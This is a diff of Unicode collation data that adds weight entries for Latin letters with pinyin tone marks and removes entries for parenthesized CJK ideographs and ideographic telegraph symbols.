+0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+01CE      ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+01CD      ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+00E0      ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0      ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0113      ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+00E9      ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+011B      ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+011A      ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+00E8      ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+00C8      ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+00EA 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+00CA 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+0065 0302 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+0045 0302 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+1EBF      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+00EA 0301 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00EA 0341 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00CA 0301 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00CA 0341 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00EA 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+00CA 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+0065 0302 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+0045 0302 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+1EC1      ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+00EA 0300 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00EA 0340 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00CA 0300 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00CA 0340 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00EA      ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC5      ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+012B      ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+00ED      ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+01D0      ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+01CF      ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+00EC      ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+00CC      ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+006D 0304 ; [.1DAA.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
+004D 0304 ; [.1DAA.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
+1E3F      ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+1E3E      ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+006D 030C ; [.1DAA.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
+004D 030C ; [.1DAA.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
+006D 0300 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
+006D 0340 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
+004D 0300 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
+004D 0340 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
+006E 0304 ; [.1DB9.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
+004E 0304 ; [.1DB9.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
+0144      ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0148      ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+0147      ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+01F9      ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+01F8      ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+014D      ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+00F3      ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+01D2      ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+01D1      ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+00F2      ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+00D2      ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+016B      ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+00FA      ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+01D4      ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+01D3      ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+00F9      ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+00D9      ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+01D6      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+00FC 0304 ; [.1EB5.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
+00DC 0304 ; [.1EB5.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
+01D8      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+00FC 0301 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00FC 0341 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+00DC 0301 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00DC 0341 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+01DA      ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00FC 030C ; [.1EB5.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
+00DC 030C ; [.1EB5.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
+01DC      ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+00FC 0300 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00FC 0340 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00DC 0300 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00DC 0340 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00FC      ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
 FDD0 2801 ; [.8000.0020.0002] # <noncharacter-FDD0, BRAILLE PATTERN DOTS-1>
 2E84      ; [.8007.0020.0002] # CJK RADICAL SECOND THREE
 3006      ; [.8012.0020.0002] # IDEOGRAPHIC CLOSING MARK
@@ -299,119 +299,119 @@
 FDD0 2824 ; [.DC7E.0020.0002] # <noncharacter-FDD0, BRAILLE PATTERN DOTS-36>
 FDD0 2827 ; [.DC80.0020.0002] # <noncharacter-FDD0, BRAILLE PATTERN DOTS-1236>
 FDD0 2830 ; [.DC82.0020.0002] # <noncharacter-FDD0, BRAILLE PATTERN DOTS-56>
-3220      ; [*0310.0020.0004][.8001.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
-3226      ; [*0310.0020.0004][.801A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
-3222      ; [*0310.0020.0004][.8054.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
-3228      ; [*0310.0020.0004][.8027.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
-3221      ; [*0310.0020.0004][.802A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
-3224      ; [*0310.0020.0004][.80D7.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
-3239      ; [*0310.0020.0004][.81C2.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
-323D      ; [*0310.0020.0004][.831C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
-3241      ; [*0310.0020.0004][.832C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST
-3227      ; [*0310.0020.0004][.8030.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
-3225      ; [*0310.0020.0004][.80F5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
-3238      ; [*0310.0020.0004][.85A8.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
-3229      ; [*0310.0020.0004][.8041.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
-323F      ; [*0310.0020.0004][.899D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
-3234      ; [*0310.0020.0004][.839D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
-323A      ; [*0310.0020.0004][.89D5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
-3223      ; [*0310.0020.0004][.822D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
-322F      ; [*0310.0020.0004][.8081.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
-323B      ; [*0310.0020.0004][.8A8D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
-3230      ; [*0310.0020.0004][.815C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
-322A      ; [*0310.0020.0004][.815F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
-3232      ; [*0310.0020.0004][.845A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
-322D      ; [*0310.0020.0004][.8160.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
-3231      ; [*0310.0020.0004][.979F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
-322C      ; [*0310.0020.0004][.816D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
-322B      ; [*0310.0020.0004][.816E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
-3235      ; [*0310.0020.0004][.9895.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
-323C      ; [*0310.0020.0004][.B79A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
-3233      ; [*0310.0020.0004][.8D2E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
-3237      ; [*0310.0020.0004][.9970.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
-3240      ; [*0310.0020.0004][.A100.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
-3242      ; [*0310.0020.0004][.84D8.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
-3243      ; [*0310.0020.0004][.84D9.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
-3236      ; [*0310.0020.0004][.9B3B.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
-323E      ; [*0310.0020.0004][.B2A5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
-322E      ; [*0310.0020.0004][.8E33.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
-3358      ; [.1BB8.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
-33E9      ; [.1BB9.0020.0004][.1BB8.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
-32C9      ; [.1BB9.0020.0004][.1BB8.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
-3362      ; [.1BB9.0020.0004][.1BB8.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
-33EA      ; [.1BB9.0020.0004][.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
-32CA      ; [.1BB9.0020.0004][.1BB9.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
-3363      ; [.1BB9.0020.0004][.1BB9.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
-33EB      ; [.1BB9.0020.0004][.1BBA.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
-32CB      ; [.1BB9.0020.0004][.1BBA.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
-3364      ; [.1BB9.0020.0004][.1BBA.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
-33EC      ; [.1BB9.0020.0004][.1BBB.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
-3365      ; [.1BB9.0020.0004][.1BBB.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
-33ED      ; [.1BB9.0020.0004][.1BBC.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
-3366      ; [.1BB9.0020.0004][.1BBC.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
-33EE      ; [.1BB9.0020.0004][.1BBD.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
-3367      ; [.1BB9.0020.0004][.1BBD.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
-33EF      ; [.1BB9.0020.0004][.1BBE.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
-3368      ; [.1BB9.0020.0004][.1BBE.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
-33F0      ; [.1BB9.0020.0004][.1BBF.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
-3369      ; [.1BB9.0020.0004][.1BBF.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
-33F1      ; [.1BB9.0020.0004][.1BC0.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
-336A      ; [.1BB9.0020.0004][.1BC0.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
-33F2      ; [.1BB9.0020.0004][.1BC1.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
-336B      ; [.1BB9.0020.0004][.1BC1.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
-33E0      ; [.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
-32C0      ; [.1BB9.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
-3359      ; [.1BB9.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
-33F3      ; [.1BBA.0020.0004][.1BB8.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
-336C      ; [.1BBA.0020.0004][.1BB8.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
-33F4      ; [.1BBA.0020.0004][.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
